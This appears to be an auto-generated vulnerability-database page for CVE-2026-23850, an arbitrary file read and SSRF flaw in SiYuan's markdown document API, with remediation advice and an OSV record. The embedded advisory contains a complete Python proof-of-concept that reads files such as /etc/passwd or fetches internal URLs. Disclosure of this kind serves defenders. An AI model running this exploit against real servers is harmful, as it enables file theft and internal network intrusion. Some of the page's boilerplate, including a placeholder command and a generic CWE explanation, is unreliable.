CVE-2026-23850: Github.com/siyuan note/siyuan/kernel SiYuan Vulnerable To Arbitrary File Vulnerability
HIGHCVE-2026-23850 is a HIGH siyuan vulnerable to arbitrary file vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Github.com/siyuan note/siyuan/kernel libraries in the Go ecosystem. The issue involves siyuan vulnerable to arbitrary file read / ssrf. Remediation is available by upgrading affected packages to version 0.0.0-20260118092326-b2274baba2e1.
CVE-2026-23850 at a Glance
How to Fix CVE-2026-23850
To remediate this vulnerability, upgrade all affected Github.com/siyuan note/siyuan/kernel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/siyuan-note/siyuan/kernel to 0.0.0-20260118092326-b2274baba2e1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/siyuan-note/siyuan/kernel
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-23850, inspect your project dependencies for Github.com/siyuan note/siyuan/kernel:
inspect dependencies for github.com/siyuan-note/siyuan/kernel
Analyze the terminal output to locate any version of Github.com/siyuan note/siyuan/kernel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260118092326-b2274baba2e1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Github.com/siyuan note/siyuan/kernel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-23850 Affected Github.com/siyuan note/siyuan/kernel Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/siyuan-note/siyuan/kernel
|
Go |
< 0.0.0-20260118092326-b2274baba2e1
|
0.0.0-20260118092326-b2274baba2e1
|
References
Frequently Asked Questions
What is CVE-2026-23850?
Which Github.com/siyuan note/siyuan/kernel versions are affected?
What version fixes CVE-2026-23850?
Is github.com/siyuan-note/siyuan/kernel affected?
What CWE is associated with CVE-2026-23850?
How can I check Go dependencies for CVE-2026-23850?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-cv54-7wv7-qxcw",
"modified" : "2026-01-21T01:02:00Z",
"published" : "2026-01-21T01:02:00Z",
"aliases" : [ "CVE-2026-23850" ],
"summary" : "SiYuan vulnerable to Arbitrary file Read / SSRF",
"details" : "### Summary\nMarkdown feature allows unrestricted server side html-rendering which allows arbitary file read (LFD) and fully SSRF access\nWe in @0xL4ugh ( @abdoghazy2015, @xtromera, @A-z4ki, @ZeyadZonkorany and @KarimTantawey) During playing Null CTF 2025 that helps us solved a challenge with unintended way : )\n\nPlease note that we used the latest Version and deployed it via this dockerfile : \n\nDockerfile:\n```\nFROM b3log/siyuan\n\nENV TZ=America/New_York \\\n PUID=1000 \\\n PGID=1000 \\\n SIYUAN_ACCESS_AUTH_CODE=SuperSecretPassword\n \nRUN mkdir -p /siyuan/workspace\n\nCOPY ./startup.sh /opt/siyuan/startup.sh\nRUN chmod +x /opt/siyuan/startup.sh\n\nEXPOSE 6806\n\nENTRYPOINT [\"sh\", \"-c\", \"/opt/siyuan/startup.sh\"]\n```\n\nstartup.sh\n```sh\n#!/bin/sh\nset -e\necho \"nullctf{secret}\" > \"/flag_random.txt\"\nexec ./entrypoint.sh\n\n```\ndocker-compose.yaml:\n\n```yaml\nservices:\n main:\n build: .\n ports:\n - 6806:6806\n restart: unless-stopped\n environment:\n - TZ=America/New_York\n - PUID=1000\n - PGID=1000\n container_name: archivists_whisper\n```\n### Details\nAs you can see here : https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886\nin `createDocWithMd` function\nthe `markdown` parameter is being passed to the model.CreateWithMarkdown without any sanitization \nwhile here : https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035 the input is being passed to `luteEngine.Md2BlockDOM(md, false)` without any sanitization too\n\n### PoC\nHere is a full Python POC ready to run \n```py\nimport requests, sys, os\n\nif len(sys.argv) >= 5 :\n TARGET = sys.argv[1].rstrip(\"/\")\n PASSWORD = sys.argv[2]\n attack_type = sys.argv[3]\n if attack_type == \"LFD\":\n file_path = f\"file://{sys.argv[4]}\"\n elif attack_type == \"SSRF\":\n file_path = f\"{sys.argv[4]}\"\nelse:\n sys.exit(f\"Usage : python3 {sys.argv[0]} http://target password LFD/SSRF filepath/link\")\n TARGET = \"http://127.0.0.1:6806\"\n PASSWORD = \"SuperSecretPassword\" # Workgroup password\n file_path = \"/etc/passwd\" # file to read\n\ns = requests.Session()\n\ndef login():\n s.post(f\"{TARGET}/api/system/loginAuth\", json={\"authCode\": PASSWORD, \"rememberMe\": True})\n\n\ndef list_notebooks():\n res = s.post(f\"{TARGET}/api/notebook/lsNotebooks\").json()\n notebooks = res[\"data\"][\"notebooks\"]\n if not notebooks:\n raise RuntimeError(\"No notebooks found – create one in the UI first\")\n notebook = notebooks[0][\"id\"]\n return notebook\n\ndef file_to_md(notebook, file_path):\n doc_id = s.post(\n f\"{TARGET}/api/filetree/createDocWithMd\",\n json={\n \"notebook\": notebook,\n \"path\": \"/pwn\",\n \"markdown\": f\"[loot]({file_path})\"\n },\n ).json()[\"data\"]\n return doc_id\n\ndef convert_file_to_asset(doc_id):\n res = s.post(f\"{TARGET}/api/format/netAssets2LocalAssets\", json={\"id\": doc_id})\n # print(f\"Debug : convert\", res.text)\n\ndef get_new_file_name_from_assets(file_path):\n res = s.post(f\"{TARGET}/api/file/readDir\", json={\"path\": \"/data/assets\"}).json()[\"data\"]\n if attack_type == \"LFD\":\n new_file_name = f\"network-asset-{os.path.splitext(os.path.basename(file_path))[0]}-\"\n else:\n new_file_name = f\"network-asset-{os.path.basename(file_path)}-\"\n # print(new_file_name)\n for file in res:\n # print(file[\"name\"])\n if new_file_name in file[\"name\"]:\n return file[\"name\"]\n \n\ndef retrieve_file_content(file_name):\n return s.get(f\"{TARGET}/assets/{file_name}\").text\n\n\nlogin()\nnotebook = list_notebooks()\ndoc_id = file_to_md(notebook, file_path)\n# print(f\"Debug : Docid\", doc_id)\nconvert_file_to_asset(doc_id)\nfile_name = get_new_file_name_from_assets(file_path)\nfile_content = retrieve_file_content(file_name)\nif len(file_content) > 0 :\n print(\"Content : \", file_content)\nelse:\n print(f\"Failed to get {file_name} try to get it manually, probably we failed to predict the new file name\")\n```\n\n### File read\n<img width=\"928\" height=\"333\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8b6c81b9-106d-4d41-beaf-29ee3f6413cb\" />\n<img width=\"800\" height=\"143\" alt=\"image\" src=\"https://github.com/user-attachments/assets/87a6fab8-d1a7-4690-b157-4c6250b67b8a\" />\n\n### SSRF : \nWe spawned a python server at /tmp : 4444 and requested it the result is we could successfuly read a file from http://127.0.0.1/ghazy\n\n<img width=\"822\" height=\"63\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9842aad2-1ade-45c0-9db1-fc049cf6b4cf\" />\n\n\n### Impact\nAs shown above, we could sucessfully read any file in the system and reach any internal host via SSRF : )\n\n### Solution\n\nhttps://github.com/siyuan-note/siyuan/issues/16860",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/siyuan-note/siyuan/kernel"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.0.0-20260118092326-b2274baba2e1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-cv54-7wv7-qxcw"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23850"
}, {
"type" : "WEB",
"url" : "https://github.com/siyuan-note/siyuan/issues/16860"
}, {
"type" : "WEB",
"url" : "https://github.com/siyuan-note/siyuan/commit/b2274baba2e11c8cf8901b0c5c871e5b27f1f6dd"
}, {
"type" : "WEB",
"url" : "https://github.com/siyuan-note/siyuan/commit/f8f4b517077b92c90c0d7b51ac11be1b34b273ad"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/siyuan-note/siyuan"
}, {
"type" : "WEB",
"url" : "https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035"
}, {
"type" : "WEB",
"url" : "https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-01-21T01:02:00Z",
"nvd_published_at" : "2026-01-19T20:15:49Z"
}
}